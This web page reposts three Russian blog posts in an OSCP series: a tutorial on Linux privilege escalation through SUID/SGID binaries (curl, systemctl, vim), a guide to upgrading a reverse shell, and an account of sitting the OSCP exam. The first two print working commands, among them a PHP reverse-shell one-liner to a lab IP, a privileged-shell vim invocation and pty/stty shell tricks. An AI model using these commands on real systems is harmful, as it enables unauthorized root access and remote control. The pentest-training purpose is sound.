Русский
Русский
English
Статистика
Реклама

Oscp

Я есть root. Повышение привилегий в ОС Linux через SUIDSGID

16.06.2020 12:17:10 | Автор: admin
В прошлом посте я провел обзорную экскурсию по методам повышения привилегий в ОС Linux. Сегодня разбираю вектор повышения привилегий через небезопасные разрешения SUID/SGID. Поэтому больше консоли и меньше слов.

main

Что такое SUID?


Бит смены владельца или SUID (Set User ID) это разрешение файловой системы Linux, которое позволяет запустить исполняемый файл от имени его владельца. Он нужен, потому что многие действия в Linux (например, открытие сырого сетевого сокета) требуют прав суперпользователя. Хорошо знакомая всем команда ping использует сетевые сокеты и поэтому должна быть запущена от rootа. Каким образом можно позволить обычному пользователю применять команду ping? Можно выдать пользователю sudo на необходимые команды. Но представьте, что на условной Linux-машине имеется 100 пользователей и насчитывается около 20 привилегированных команд. А как потом управлять разрешениями sudo на все это богатство? Не самое элегантное решение, не правда ли? С другой стороны, бит смены владельца значительно упрощает процесс. Бит смены владельца сообщит системе, что все 100 пользователей системы запускают команду ping от имени root.

Итак, мы с вами поняли, что представляет собой SUID, но также это понимают и хакеры. В большинстве случаев повышение привилегий через исполняемый файл с SUID возможно, если:

  • исполняемый файл позволяет взаимодействовать с файловой системой;
  • исполняемый файл так или иначе имеет возможность выхода в командную строку.

Пример с curl


Разберемся по порядку. Допустим, я обнаружил, что исполняемому файлу curl выставлен бит смены владельца, мы можем это понять по букве s в разрешениях файла.

выставление SUID для curl
Выставление SUID для curl

Выставленный SUID позволяет скачивать файл от имени rootа. Поскольку файл скачивает root, то он же является и владельцем файла.

image
Загрузка файла через curl с SUID

Хорошо, что с этим делать дальше? Попытаюсь заменить какой-нибудь чувствительный файл: /etc/passwd подходит как нельзя лучше. Сначала скопирую существующий файл на хост атакующего.

image
Скачиваю файл командой scp

В полученном файле поменяю ID пользователя и группы для пользователя bob с 1000 на 0 (что соответствует root).

image
Исходные ID пользователя bob

Отредактированный файл скачаю на атакуемый хост с помощью команды curl.

image
Успешное повышение привилегий



Пример с systemctl


Думаю, стало понятнее, однако давайте разберем другой пример: я подобрал пароль пользователя bob и получил доступ по SSH. Осматриваюсь и изучаю окружение в этом случае командой find.
find / -user root -perm -u=s -type f 2>/dev/null


image
Почувствуй разницу: слева вывод linpeas, справа, по сути, тот же вывод, но команда find введена вручную

Нахожу в выводе команды find бинарник /usr/bin/systemctl. Раз у меня есть доступ к systemctl, да еще и в контексте root (ведь я нашел этот бинарник, выполняя поиск файлов, владельцем которых является root и для которых выставлен suid), я могу запустить вредоносный сервис. Особого кун-фу тут не требуется, достаточно создать текстовый файл с описанием сервиса.

Пример файла с описанием сервиса
[Service]Type=oneshotExecStart=/bin/sh -c "id > /tmp/output"[Install]WantedBy=multi-user.target


image
Демонстрация работы сервиса

Мне ничего не мешает изменить сервис, например, написать в него бэк-коннект. Остается только поднять хендлер (обработчик) на хосте атакующего и перезапустить сервис.

image
Успешное повышение привилегий. Наверху хендлер, внизу запуск сервиса

Я привел примеры, в которых бит смены владельца выставлен у пользователя root, но этот вектор также можно использовать для компрометации менее привилегированных пользователей системы. Как видите, бит смены владельца это довольно чувствительная к безопасности вещь, и он может оказаться узким местом харденинга Linux-системы.

Что дальше?
Главное в этом векторе, как и везде в offensive, понимать, как все устроено. Я рекомендую повторить пару примеров, чтобы не только понять, но и осознать полученную информацию. Для практики можно самому поднять стенд и поэкспериментировать, а можно совместить приятное с полезным и поискать write upы hackthebox устаревших машин, где для повышения привилегий использован вектор с SUID. Порешать их, прокачать свой аккаунт, рассказать о нем на собеседовании. Со временем вы поймете, что write upы лишают вас ощущения победы, и когда почувствуете в себе силы, сможете применять накопленный багаж знаний.

Больше конкретных примеров повышения привилегий через SUID можно найти тут, включая разобранный нами.



А что с битом смены группы владения SGID (Set Group ID)?


В целом суть та же, но некоторые трюки будут сложнее, например /etc/passwd таким образом перезаписать не удастся, так как группе root нельзя редактировать файл. Да и сервис перезапустить не получится.

image
Разрешения файла /etc/passwd не позволяют группе root изменение

image
Попытка перезапуска сервиса

Остается вариант с интерактивным шеллом, например через vim. Для этого используйте команду:

vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")

Группа root позволяет читать содержимое директории /root, но при этом нельзя даже прочитать содержимое файла id_rsa. Бит смены группы владения SGID дает несравнимо меньшие возможности для повышения привилегий.

image
Содержимое директории /root



Харденинг


Для безопасного харденинга рекомендую исключить наличие бита смены владельца/группы для указанных в перечне исполняемых файлов. При этом нужно учитывать, что за удалением бита смены владельца/группы могут последовать некорректное поведение сервиса и траблшутинг. И уж точно не стоит удалять бит смены владельца у всех исполняемых файлов.



Напоследок


В статье я использовал примеры из лучшего, на мой взгляд, сборника по повышению привилегий gtfobins.

  1. curl
  2. systemctl
  3. vim

Если у вас появится интерес к разбору других кейсов повышения привилегий через SUID/SGID (или нет, не важно), пишите в комментариях или мне в личку. В следующем посте обсудим, как получать стабильный shell. Успешной охоты!
Подробнее..

Я есть root. Получаем стабильный shell

22.06.2020 14:22:01 | Автор: admin
Давайте представим, что мы получили бэк-коннект в результате эксплуатации RCE-уязвимости в условном PHP-приложении. Но едва ли это соединение можно назвать полноценным. Сегодня разберемся в том, как прокачать полученный доступ и сделать его более стабильным.

image

Итак, мы получили initial shell. Кто знает, как это по-русски? Изначальная оболочка или первичный доступ ГОСТа нет, поэтому прошу в комментарии. Так вот, мы не сможем использовать это соединение для успешного pivoting'a, поскольку тот же SSH нам не доступен.

image
Безуспешная попытка использования SSH

Система сообщает нам, что не может справиться с SSH без полноценного терминального shella. Что делать в этом случае? Отправляемся в Google и находим подборки команд, не все из которых нам помогут, например:

/bin/sh -i


image
Попытка создания псевдотерминала через /bin/sh

Что мы можем с этим сделать? Как получить стабильный шелл? Сейчас разберемся.



Зачем нам терминал в нашем соединении?


Давным-давно, во второй половине 20 века, компьютеры были большими, а взаимодействие пользователей с ними происходило посредством физических устройств, называемых телепринтерами и телетайпами. Об истории терминалов можно почитать тут, а нам важно понимать, что сейчас Linux все так же считает себя мейнфреймом, а общение с системой происходит по виртуальным терминалам.

Часто во время тестирования на проникновение мы получаем оболочку, в которой нет виртуального терминала. Большинство привычных нам бэк-коннектов представляют собой не что иное, как открытие сетевого сокета и перенаправление потоков ввода/вывода в данный сокет. При этом на хосте атакующего отсутствует такая сущность, как терминал (tty). Отсутствие терминала в соединении не дает системе корректно работать с вводом/выводом, поскольку не весь вывод можно корректно вывести через сетевой сокет на хост атакующего. Тот же пример с SSH: запрос на доверие сертификату приходит в терминал атакуемого хоста, но не доходит по сокету на хост атакующего. Команда ниже использована для имитации эксплуатации RCE-уязвимости.

php -r '$sock=fsockopen("172.16.236.128",443);exec("/bin/sh -i <&3 >&3 2>&3");'


image
Попытка воспользоваться SSH через nc-соединение

image
Запрос на доверие сертификату выводится на атакуемом хосте

image
На стороне атакующего терминала пока нет

Прокачиваем наш изначальный шелл


Мы можем использовать Python, чтобы выйти в bash, при этом получив в свое распоряжение терминал. Команда tty показывает адрес текущего терминала.

python3 -c 'import pty;pty.spawn("/bin/bash")'


image
Создание виртуального терминала в Python

На этом этапе нам уже доступен некий интерактив в виде возможности дать ответ на запросы системы из серии доверяйте данному ключу SSH или введите пароль, чтобы воспользоваться sudo.
Это уже что-то, однако у нас все еще нет возможности воспользоваться нашим любимым сочетанием клавиш ctrl+c (пентестерский софт ведь никогда не отличался хорошей стабильностью). Чтобы получить более стабильную версию shella и не пересоздавать соединение по 10 раз, рекомендую использовать следующий прием.

nc -nlvp 443#ctrl + zstty raw -echo && fg


Команда stty устанавливает свойства терминальной линии. Этот инструмент позволит нам сообщить терминалу на стороне атакующего, что наш ввод нужно просто направлять в stdin без обработки. Таким образом, мы больше не убьём сессию, если машинально нажмем ctrl+c.

image
Получение стабильного shell'a с помощью настройки свойств терминала

Бывает, что в системе просто не установлен Python. Что же делать в этом случае? Можно воспользоваться утилитой script, например, в CentOS она доступна по умолчанию.

/usr/bin/script -qc /bin/bash /dev/null


image
Создание виртуального терминала в script

Думаю, этого достаточно для понимания процесса создания стабильных и удобных соединений.



Харденинг


По поводу безопасного харденинга заморачиваться сильно смысла не имеет, поскольку вы уже проморгали RCE в системе. В принципе, успешное поднятие привилегий возможно и без описанных сегодня методов.
Подробнее..

OSCP как я сдавал самый известный экзамен по информационной безопасности

10.02.2021 10:11:22 | Автор: admin

Offensive Security Certified Professional отличается от других сертификаций по информационной безопасности адски сложным экзаменом. Ребята из Offensive Security бегают по интернету и пристально следят за тем, чтобы никакие подсказки или готовые решения не были доступны публично. И, похоже, им успешно удаётсяэто делать более 10 лет подряд.

Сдавая экзамен, люди не спят по двое суток, тестируя инфраструктуру на проникновение спостоянно включенной видеокамерой и спрашивают в специальном чате разрешения отойти втуалет. Я прошёл этот путь и сейчас расскажу, как всё устроено.

Я много читал про OSCP, но только волшебный пинок локдауна заставил меня купить курс. Заокном был 2020, а у меня $999 и желание прокачаться в информационной безопасности. Похоже, это отличное время, чтобы инвестировать деньги в обучение, подумал я и купил курс Penetration Testing with Kali Linux.

Минимальная стоимость курса $999. За эти деньги ты получишь стартер кит молодого пентестера, который включает в себя:

  • Книжку на 850 страниц.

  • 17+ часов видеолекций.

  • 30 дней доступа к лаборатории.

  • 1 попытку сдачи экзамена.

Сложности начинаются уже при покупке. Нельзя купить курс и сразу начать заниматься: можно только выбрать дату начала обучения в будущем. В моём случае датой стало начало октября 2020, через месяц после покупки.

Небольшая ремарка. Уже в процессе обучения я решил почитать блоги людей, которые проходили курс, и оказалось, что большая часть из них подошли к нему основательно и готовились за полгода или даже год. А для тренировки перед OSCP покупали доступы к HTB и VulnHub. Я же ничего из этого не делал, и курс был для меня чёрной коробкой.

После оплаты мне скинули ссылки на кастомизированный образ Kali (чем конкретно он отличается от обычного я не понял), а также архив для проверки VPN-соединения, который действует 3 дня. За эти дни нужно было скачать VMware, поставить туда этот Kali и проверить своё подключение к VPN. Говорят, раньше всё это присылали в день начала занятий, теперь присылают заранее.

Вообще в 2020 году курс изрядно обновили и, как они сами пишут, увеличили в два раза размер материалов раньше в книжке было всего 400 страниц, а также на 30% число машин в лаборатории. А ещё добавили новые типы атак, вроде атаки на Active Directory или лекций по PowerShell Empire, репозиторий которого уже закрыт владельцем.

Курс состоит из трёх частей

Первая часть это теория. За неё отвечает та самая книжка на 850 страниц и набор видеороликов. Чтобы не было соблазна выкладывать их в открытый доступ, все страницы книги и видеоматериалы содержат водяные знаки с личным номером и именем покупателя курса.

Вторая часть курса это время работы в лаборатории. Что это значит? Ты получаешь доступ взакрытый интранет, где располагается 4 виртуальных сети, связанных через шлюзы. На картинке из официального гайда можно посмотреть, как эти сети связаны между собой. Кроме того, в этой сети развёрнуто два полноценных Active Directory домена по 5 машин в каждом. Это, кстати, интересный момент, его я опишу ниже.

Изначально доступ есть только в Student Network (она же Public), но по мере захвата машин можно попасть и в другие сети. В сети 66 хостов, на каждом из которых лежит файл proof.txt, который необходимо сдать в панели управления. Принцип чем-то похож на CTF, с той лишь разницей, что сам файл не так важен как понимание уязвимости, через которую можно получить права администратора.

Последняя часть программы это экзамен. О его сложности я прочитал только когда имел наруках дату начала обучения. Целые форумы посвящены плачам людей, которые его пытаются сдать. Читать подобные пассажи строго не рекомендую.

День Х

В день начала курса на почту прислали заветное письмо, а в нём ссылки: на книжку и архив свидео, а главное конфигурацию для VPN. Можно было подключаться и хакать, но я пошёл смотреть видео. Таков путь.

До 2020 года книжка и видео дублировали друг друга, но сейчас это не так. Некоторые векторы атак, показанные в видео, не раскрываются в книге, а дополнительных заданий изкниги нет в видео. Я выбрал путь стримера: смотреть в консоль на экране и слушать закадровый голос было проще, чем читать все 850 страниц.

Я смотрел лекции по 2-3 часа в день и потому мне потребовалась целая неделя для просмотра всех 17 часов от начала и до конца, попутно листая PDF.

Лабы

После теории у меня осталось 23 дня, за которые я планировал получить доступ на все машины (ха-ха, как наивен я был тогда). Сначала в лабораторной сети у меня не было ничего, кроме адреса подсети /24, в которой расположены какие-то уязвимые хосты. Но именно так и построено обучение: в теории рассказали возможные векторы атак, а дальше всё зависит отстудента.

Большинство хостов в лаборатории как-то связаны между собой. Письмо в почтовом ящике на одной машине может содержать доступ к другой. Некая симуляция реальной сети. Но бывают и незапланированные сценарии. Например, чтобы получить доступ к контроллеру домена Active Directory, нужно получить доступ к дочерним узлам и только потом получить администратора контроллера. Именно так задумали эту атаку, но, если хорошо погуглить, выясняется, что есть довольно свежий эксплойт, позволяющий атаковать сразу контроллер, игнорируя всю цепочку. Сделано это намеренно или нет, я не знаю.

Подсказок, как ломать, нет в принципе. Можно пойти на закрытый форум для студентов, но это отдельный цирк. Обсуждать можно всё, но давать прямые подсказки запрещено. А потому местные посетители упражняются в аллегориях, например, вместо упоминания smb пишут brazilian dance, а вместо dirtycow используют well-know exploit.

На форумах ходит поверье о четырёх машинах (pain, sufferance, humble, gh0st), которые не обязательно ломать, так как они какие-то особенно сложные. Забавно, что узнал я об этом много позже получения доступа к каждой из них. По мне, так это обычные, ничем не примечательные машины, которые встречаются на любом CTF-соревновании.

Спустя 3 недели я закрыл всего 23 из 66 машин. В этот момент у меня заканчивался 30-дневный доступ в лабораторию, и я купил дополнительные 30 дней покупать дополнительные дни можно бесконечно. За следующие 30 дней я закрыл все машины, получив доступ ко всем подсетям.

Исходя из тредов на форуме, можно сделать вывод, что типичный студент закрывает около 40машин, так как взлом машин через SSH-туннелирование это развлечение не для всех.

Экзамен

Эндшпилем движухи стал экзамен, о котором пишут статьи, наполненные либо слезами, либо советами, как к нему лучше готовиться морально и физически. Я попробую не ударяться вкрайности.

Экзамен занимает полные 48часов, из которых первые 24 даётся на взлом 5серверов, а вторые 24часа на написание отчёта о том, как был получен доступ к каждому из них.

А чтобы было совсем весело, первые 24 часа за тобой через веб-камеру будут наблюдать специально обученные люди. Твой экран они тоже будут видеть. А потому, даже если захочется отойти в туалет, нужно будет написать об этом в специальном чате.

В день экзамена, за 15 минут до начала, на почту падает ссылка для проведения сессии подтверждения личности. Я использовал загранпаспорт. После это приходит уже новое письмо сдоступами для подключение к VPN и ссылка на экзаменационную панель управления.

Для успешной сдачи экзамена нужно набрать 75 очков. Для этого есть 5 машин, они каждый раз разные, но тип каждой всегда одинаковый:

  • 1 машина на написание эксплойта с переполнением буфера за 25 очков.

  • 1 комплексная машина со множеством ложных векторов атаки за 25 очков.

  • 2 обычные машины по 20 очков.

  • 1 совсем простая за 10.

Максимум можно получить 100 очков. Плюс ещё можно заработать 5 очков, конспектируя работу в лаборатории, но это вариант для параноиков. Лишние 5 очков точно не спасут, а выполнение и конспектирование всех заданий занимает очень много времени.

Так как экзамен это рулетка, то и соотношение Windows/Linux может быть любым. Мне попались три машины на Linux и две на Windows.

Первый полученный доступ стал на машине за 25 очков. Мне повезло: она была очень близка к стеку технологий, с которым я привык иметь дело. Затем, чтобы расслабиться, я получил доступ к машине за 10 очков, часто её называют low-hanging fruit. Для атаки требовалось просто найти один публичный эксплойт, который даёт доступ к учетной записи с правами администратора.

Большинство экзаменуемых начинают с переполнения буфера, а я оставил его на середину, чтобы разгрузить мозги. Кому-то это может показаться сложным, но по факту дают примитивное приложение и заранее подготовленный PoC в котором нужно дописать только мясо. Берём любую инструкцию и следуем всем шагам.

После этих упражнений у меня было 60 очков в кармане. Оставшееся от экзамена время я потратил на одновременную атаку на 2 оставшиеся машины. На одной из них я быстро получил непривилегированного пользователя, а вот с эскалацией привилегий вышло сложнее. На второй же кроме LFI не получалось прощупать ничего. Ближе к вечеру я получил привилегированный доступ на первой из машин, а на вторую решил просто забить и лечь спать.

Я читал о смельчаках, которые не спали по 24 часа и всё равно проваливали экзамен. Примыкать к их числу я не хотел. Проснувшись за 3 часа до окончания экзамена, я проверил, хватает ли мне скриншотов и логов для заполнения отчёта. А после этого попытался ещё раз копнуть оставшуюся машину, но так ничего и не вышло.

Отчёт

После выполнения практической части даётся 24 часа на написание и отправку подробного отчёта на английском с последовательностью шагов, необходимых для получения доступа к каждой из машин. Туда также входят советы администратору сервера, чтобы обезопасить его.

Написание отчёта может отпугнуть неподготовленного русскоязычного обывателя. Но и у англоязычных студентов оно вызывало приступы паники. Некоторые счастливчики писали отчёты по 200+ страниц. Сказу скажу, что мой отчёт содержал всего 68 и это с учётом того, что я вставлял по одному скриншоту на лист.

Бояться этого смысла нет, писать эссе точно не надо. Достаточно взять шаблон и вставлять в нужные места скриншоты с одним предложением о том, что значит скриншот. Использовать стандартный шаблон тоже не обязательно. Для своего отчёта я использовал альтернативный вариант в Markdown.

После заполнения отчёта его нужно было запаковать в 7z и отправить на специальной странице. До 2020 надо было ещё и паролем шифровать, но теперь от этой практики отказались.

Результат

Спустя неделю мне пришло заветное письмо, где сообщалось, что я сдал экзамен и теперь мне необходимо заполнить информацию о моём местонахождении для отправки физической копии сертификата.

На этом я заканчиваю свой рассказ. А на вопрос, стоит ли сдавать OSCP ответ однозначный да, если есть много свободного времени и лишние $999.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru